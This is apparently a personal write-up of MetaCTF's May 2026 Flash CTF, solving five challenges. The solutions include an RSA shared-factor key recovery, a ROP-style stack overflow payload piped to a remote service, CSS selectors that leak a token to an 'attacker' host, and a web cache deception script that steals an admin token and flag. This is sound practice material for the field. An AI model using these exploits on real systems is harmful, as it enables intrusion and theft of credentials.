️🏴 MetaCTF May 2026 Flash CTF



A free monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5 or more challenges and you will have 2 hours to solve as many as you can. This CTF will include both beginner and difficult challenges.

Details here: https://app.metactf.com/join/may2026.

Paper Trail

A Harlow & Dent consultant sent an audit report to their client back in November, but the original draft had a section that wasn’t meant to go out. Thankfully, they deleted it before sending.

Download the report

DOCX files are just ZIP files:

 unzip report.docx
Archive:  report.docx
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/settings.xml
  inflating: docProps/core.xml

…and right there in the contents:

ctf/metactf/2026-05-may
 rg Meta .
./word/document.xml
94:        <w:r><w:delText xml:space="preserve">Staging access token (rotate after handoff): MetaCTF{tr4ck3d_ch4ng3s_4r3nt_r34lly_g0n3}</w:delText></w:r>

Common Ground

Vantara Systems runs two internal servers, each with its own RSA keypair. Both public keys were published to an internal certificate log. We also intercepted a message encrypted with server 1’s key.

n1.txt server 1 modulus
n2.txt server 2 modulus
e.txt public exponent (same for both)
flag.enc ciphertext, encrypted with server 1’s key

Given the name, this is likely a Common Factor (GCD) attack.

So n1 and n2 likely share a common factor; if gcd(n1, n2) != 1, p can be recovered and both keys factored:

>>> import math
...
... n1 = int(open("n1.txt").read().strip())
... n2 = int(open("n2.txt").read().strip())
... e  = int(open("e.txt").read().strip())
... ct = int(open("flag.enc").read().strip(), 16)
...
... p  = math.gcd(n1, n2)
... q1 = n1 // p
... d  = pow(e, -1, (p - 1) * (q1 - 1))
... m  = pow(ct, d, n1)
...
... print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())
...
MetaCTF{sh4r3d_f4ct0rs_s1nk_b0th_k3ys}

Boarding School

We bought a bunch of airport trash cans on auction, and there were some old boarding passes in the bottom of them. Can you extract the booking reference number from this boarding pass? For example, submit MetaCTF{ABC123}. Click the image to open it in a new tab.

boarding-pass.png

The barcode on the left is a PDF417 barcode. Throwing the URL of the image straight into ZXing Decoder Online reveals:

M1WANG/SIHYAO         E5RUYUF NRTTPEJL 8663 001Y016G0057 348>3180 K4366BJL 01315825980012913163536830360 JL CX 1830035232          8

The flag is MetaCTF{E5RUYUF}.

Final State

This token validator only grants access to one specific input. You don’t have the source code.

Download the binary here.

The decompiled code is pretty small; most of the logic lives in main, starting with populating a big table, zeroing it out and settings hard-coded addresses in said table with equally hard-coded values:

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rbp = *(fsbase + 0x28);
    memset(&data_404080, 0, 0x8000);
    data_404fb4 = 0xc;
    data_405a14 = 3;
    data_404850 = 0x2d;
    data_409c04 = 0x1d;
    data_407b8c = 0x12;
    data_4065d0 = 0x37;
    data_40af98 = 0x3e;
    data_40be6c = 8;
    data_40524c = 0x22;
    data_408650 = 0x11;
    data_406350 = 0x29;
    data_409450 = 2;
    data_40454c = 0x3c;
    data_40ba4c = 0x19;
    data_4073fc = 0xb;
    data_405750 = 0x2f;
    data_40a048 = 5;
    data_404b4c = 0x26;
    data_408dfc = 0x14;
    data_406a28 = 0x38;
    data_40b254 = 9;
    data_40544c = 0x21;
    data_40835c = 0x10;
    data_4061fc = 0x2c;
    data_409a1c = 0x1b;
    data_407848 = 0x3f;
    data_40bf50 = 0xd;
    data_405c40 = 0x30;
    data_40a220 = 6;
    data_404e4c = 0x27;
    data_409074 = 0x33;
    printf("Token: ");

…and the bulk of the processing occurs a little later:

            label_40125d:
                char (* i)[0x88] = &buf;
                int64_t rax_3 = 7;

                do
                {
                    int64_t rdx_2 = *i;

                    if (rdx_2 < 0)
                        goto label_4012a4_2;

                    i = &(*i)[1];
                    rax_3 = *(&data_404080 + (((rax_3 << 7) + rdx_2) << 2));
                } while (i != &buf[rsi]);

Effectively, the binary implements a state machine: each character transitions state = table[state * 128 + char], starting at state 7, accepting if final state == 0x33:

                if (rax_3 != 0x33)
                {
                label_4012a4_2:
                    puts("ACCESS DENIED");
                }
                else
                    puts("ACCESS GRANTED");

Using gdb to get the contents of that table post-population:

 gdb ./final_state
GNU gdb (GDB; SUSE Linux 16) 16.3

(gdb) break *0x555555555280
Breakpoint 1 at 0x555555555280
(gdb) run
Starting program: /home/psypherpunk/ctf/metactf/2026-05-may/final_state
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Token: x

Breakpoint 1, 0x0000555555555280 in ?? ()
Missing separate debuginfos, use: zypper install glibc-debuginfo-2.40-160099.9.1.x86_64
(gdb) dump binary memory dump.bin 0x555555558080 0x555555568080
(gdb) quit

…then parsing that dump.bin:

>>> import struct
...
... with open("dump.bin", "rb") as f:
...     data = f.read()
...
... table = {}
... for i in range(0, len(data) - 3, 4):
...     val = struct.unpack_from("<i", data, i)[0]
...     if val != 0:
...         rax_idx = i // 4
...         char = rax_idx % 128
...         if 32 <= char < 127:
...             table[rax_idx] = val
...

Given that the table is functionally 2D, time to reach for a textbook breadth-first search!

>>> from collections import deque
...
... queue = deque([(7, "")])
... visited = {7}
...
... while queue:
...     state, path = queue.popleft()
...     for c in range(32, 127):
...         idx = state * 128 + c
...         if idx in table:
...             next_state = table[idx]
...             if next_state == 0x33:
...                 print(path + chr(c))
...             if next_state not in visited:
...                 visited.add(next_state)
...                 queue.append((next_state, path + chr(c)))
...
MetaCTF{st4t3s_4r3_jus7_gr4phs}

Carry the One

BudgetWarden is the internal payroll tool for a small consulting firm. The developers kept things simple… Maybe a bit too simple?

Download the binary here and when you’re ready, connect to the prod instance with nc kubenode.mctf.io 31100

Looking at the binary:

There are two main bugs to exploit:

  1. integer overflow: the running total is a uint16; adding salary 464 to 0xfe30 wraps to 0, bypassing the <= 999 budget check
  2. stack buffer overflow: read(0, rsp, 0x200) into a 64-byte buffer; overwrite saved rbx + return address to jump to the flag-reading function
import struct
import sys

OVERFLOW_OFFSET = 72  # 64-byte buffer + 8-byte saved rbx
FLAG_FUNC = 0x4011A6  # flag reader
RET_GADGET = 0x40101A  # stack alignment

payload = b"A" * OVERFLOW_OFFSET
payload += struct.pack("<Q", RET_GADGET)
payload += struct.pack("<Q", FLAG_FUNC)

sys.stdout.buffer.write(b"1\n464\n2\n" + payload)

…and then firing that at the nc:

 ./carry-the-one.py | nc kubenode.mctf.io 31100
BudgetWarden 2.1 -- Payroll Manager
-------------------------------------
Loaded existing records. Monthly total: $65072

1. Add employee
2. Generate summary report
3. Quit
>   Monthly salary:   Added. Running total: 0

1. Add employee
2. Generate summary report
3. Quit
> Report title:
=== AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ ===
Report generated.
MetaCTF{uint16_wr4p_0p3ns_th3_v4ult}

Phantom

PhantomNet Industries prides itself on its impenetrable internal collaboration portal. The CISO personally signed off on it!

See if you can get access to the classified document stored in the admin’s vault. You can create an account, and the admin is known to review any links submitted through the portal’s reporting system.

Download the source here, and spawn an instance of the challenge below. Good luck!

I completely went down the wrong rabbit-hole for this one, my notes at the time being:

  1. stored XSS via <style> injection—sanitizeBio() blocks <script>, event handlers and specific tags like svg, form, iframe, etc. but not <style>. The dashboard renders every user’s bio with <%- (raw HTML). CSP blocks scripts but style-src 'unsafe-inline' * allows any CSS
  2. CSS exfiltration—the admin’s dashboard contains:
   <a id="secrets-link" href="/admin/secrets?token=ADMIN_TOKEN">

CSS attribute selectors can leak this token character by character:

   a[href*="token=a"] { background: url(https://attacker/?c=a) }
   a[href*="token=b"] { background: url(https://attacker/?c=b) }
   /* ... */

…and event managed to do it!

 ./phantom.py
1
10
109
1099
1099c
1099cd
1099cd3
1099cd3f
1099cd3f5
1099cd3f58
1099cd3f58e
1099cd3f58eb
1099cd3f58eb2
1099cd3f58eb28
1099cd3f58eb285
1099cd3f58eb285b
1099cd3f58eb285bb
1099cd3f58eb285bb4
1099cd3f58eb285bb43
1099cd3f58eb285bb43e
1099cd3f58eb285bb43e6
1099cd3f58eb285bb43e65
1099cd3f58eb285bb43e651
1099cd3f58eb285bb43e6518
1099cd3f58eb285bb43e6518f
1099cd3f58eb285bb43e6518f2
1099cd3f58eb285bb43e6518f27
1099cd3f58eb285bb43e6518f27c
1099cd3f58eb285bb43e6518f27cf
1099cd3f58eb285bb43e6518f27cf8
1099cd3f58eb285bb43e6518f27cf82
1099cd3f58eb285bb43e6518f27cf82e

Of course, that’s completely wrong and the final solution is a touch simpler.

It’s actually a web cache deception; NGINX can be made to cache the admin’s dashboard by submitting /dashboard;{random}.css to the bot, then simply view that page.

>>> import re
... import time
... import uuid
...
... import requests
...
... TARGET = "http://qu1ktokk.chals.mctf.io"
...
... s = requests.Session()
...
... username = f"attacker_{uuid.uuid4().hex[:6]}"
... r = s.post(f"{TARGET}/register", data={"username": username, "password": "password123"})
... r.raise_for_status()
...
... cache_buster = uuid.uuid4().hex[:8]
... poisoned_dashboard = f"{TARGET}/dashboard;{cache_buster}.css"
... s.post(f"{TARGET}/admin/visit", json={"url": poisoned_dashboard})
... r.raise_for_status()
...
... time.sleep(20)
...
... r = requests.get(poisoned_dashboard)
... r.raise_for_status()
... match = re.search(r"/admin/secrets\?token=([a-f0-9]+)", r.text)
... print(match.group(1))
...
3626c94e62cbbd3e3f278ac55b264a22

To actually get the flag, one makes use of a <link> (not a <style>): by referencing a stylesheet at /admin/secrets, passing the above token, the bot will retrieve and cache the flag!

>>> token = match.group(1)
... cache_buster2 = uuid.uuid4().hex[:8]
... secrets_path = f"/admin/secrets;{cache_buster2}.css?token={token}"
...
... bio = f'<link rel="stylesheet" href="{secrets_path}">'
... s.post(f"{TARGET}/profile/update", data={"bio": bio})
... r.raise_for_status()
...
... profile_url = f"{TARGET}/profile/{username}"
... r = s.post(f"{TARGET}/admin/visit", json={"url": profile_url})
... r.raise_for_status()
...
... time.sleep(20)
...
... r = requests.get(f"{TARGET}{secrets_path}")
... r.raise_for_status()
... print(r.json()["flag"])
...
MetaCTF{sp3cul4t1on_rul3s_m33t_c4ch3_d3c3pt1on_g8k2x}